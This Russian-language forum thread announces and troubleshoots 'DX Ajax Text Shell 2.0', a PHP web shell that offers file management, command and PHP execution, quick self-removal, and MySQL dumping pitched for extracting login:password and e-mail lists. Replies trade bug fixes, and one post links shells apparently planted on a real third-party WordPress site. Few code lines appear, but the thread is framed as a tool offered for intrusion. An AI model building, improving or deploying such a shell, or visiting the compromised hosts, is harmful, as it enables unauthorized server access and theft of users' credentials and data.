DX Ajax Text Shell 2.0 beta Решил сделать веб-шелл с использованием AJAX. Доработал 1.0, сейчас готова версия 2.0 (пока что beta), вот её описание: Возможности: AJAX, UTF-8 Все запросы методом POST Файловый менеджер: серфинг по папкам, просмотр дат изменения и прав для файлов и папок, удаление, перемещение, копирование, переименовывание, chmod, touch Скачивание файлов (<2.0> - поддержка скачивания больших файлов) Редактирование и сохранение файлов в utf-8 и windows-1251 Подробная информация о системе Выполнение php-кода Выполнение команд cmd множеством способов (<2.0> - улучшен вывод результатов, поддержка кириллицы) <2.0> Защита паролем <2.0> MySQL - выполнение команд, удобный менеджер команд <2.0> MySQL дампинг - дамп таблиц или целых БД, поддержка больших объёмов данных, дамп результатов запросов MySQL Если set_time_limit будет недоступно, дамп всё равно возможен по частям. Теперь очень удобно сдампить в виде файла, например, список loginass или список e-mail'ов из какой-нибудь таблицы. <2.0> Дамп MySQL-таблиц производится без создания каких-либо файлов на сервере - всё напрямую направляется в браузер. <2.0> Быстрое удаление скрипта <2.0> Поправлены различные ошибки Удобство в том, что можно работать с файлами, php, cmd и пр. независимо друг от друга, то есть примерно так - полистать файлы, выполнить пхп-код, вернуться к файлам, в это время результат выполнения php-кода не стирается, и к нему можно всегда вернуться.
Пашет, проверял на удалённых серверах и на локалхосте тоже. Просто шелл если редактировать, то нужно сохранять в UTF-8 без BOM.
На локалхосте под виндой не работало - все дело в обратных слэшах, которые используются в путях и впоследствии попадают в js-код без экранирования, поэтому в начале кода нужно заменить вот на это: PHP: $sdir=addslashes($_SERVER['DOCUMENT_ROOT'].dirname($_SERVER['SCRIPT_NAME'])); В Firefox iframe, который выполняет checkUpFiles(), перегораживает часть экрана с директориями (почему-то видимый), поэтому нужно заменить на это (1084 строка) HTML: <iframe id="upiframe" name="upiframe" style="display:none;width:0;height:0" onload="checkUpFiles();"></iframe> И ко всему прочему баги с кодировкой: �?мя Права Размер �?зменён r57shell с AJAX хорошая идея имхо
нахожусь в /var/www/html тыкаю все время вверх до хожу до /var тыкаю - переходит опять в /var/www/html, пишу перейти в / - пишет директория не существует
Спасибо всем за замечания, постараюсь всё исправить, хотя я не понимаю, отчего могут возникнуть такие проблемы, как: -видимый фрейм в ФФ (сам тестил, у меня всё отлично, версия 3) -проблемы с кодировкой (опять-таки всё проверял, но ещё посмотрю, отчего такое может быть) ShAnKaR, такая ошибка действительно есть, поправлю. [Raz0r], если не сложно, напиши, где ещё баги с кодировкой наблюдаются у тебя, и только в ФФ, или в других браузерах тоже?
Баги в Firefox 3.0.4, Opera 9.62, IE7. В файл менеджере первые буквы Имя и Изменен, а также в слове Информация во вкладках Система и MySQL
Не представляю, почему такие ошибки возникают, у меня во всех браузерах всё нормально. Причём, как я понял, только буква "И" искажается) Может быть, проблема в сервере и утф-8?.. Что, если просто создать текстовый файл в утф-8 без BOM и записать туда букву "И", а потом получить его с помощью сервера?
Доработал версию 1.0, добавил функционал, поправил найденные ошибки. Обновил первый пост, подробное описание и файл для скачивания там.
Опера всегда отличалась нестандартностью, кстати я тестил на ней, правда на более ранней версии, всё норм было. Посмотрю ещё. ЗЫ. [Raz0r], в кодировке абсолютно ничего не менял)
Это: PHP: <?php $text = 'ЭтО СтРоКа'; echo strtolower($text); ?> И это: PHP: <?php $text = 'ЭтО СтРоКа'; echo iconv('windows-1251','utf-8',strtolower($text)); ?> Результат: Видео: http://webfile.ru/2491722
Давай пример полного кода, который по-твоему переведет строку на русском в нижний регистр используя strtolower на любом сервере
http://www.topmanshoes.com/wp-admin/1.php Неа Вот шелл, можешь посмотреть содержимое файла http://www.topmanshoes.com/wp-admin/wp-rss.php
Русской локали на многих серверах может и не оказаться. Проверить можно так: locale -a | grep 'ru' Вообще нужно вот так: PHP: setlocale(LC_ALL, 'ru_RU.CP1251'); echo strtoupper('Работает!'); С koi8-r наоборот почему-то получается: strtoupper() переводит в нижний регистр, а strtolower() в верхний
На разных системах локали называются по-разному. Я знаю про setlocale, но именно поэтому её и не использовал. P.S. Кривое отображение в некоторых браузерах поправил, обновил первый пост. P.S.2. Если эта тема похожа на паблик, пусть модераторы её туда перекинут. Чем больше ошибок найдут в скрипте, тем больше я их исправлю и тем лучше он в итоге станет)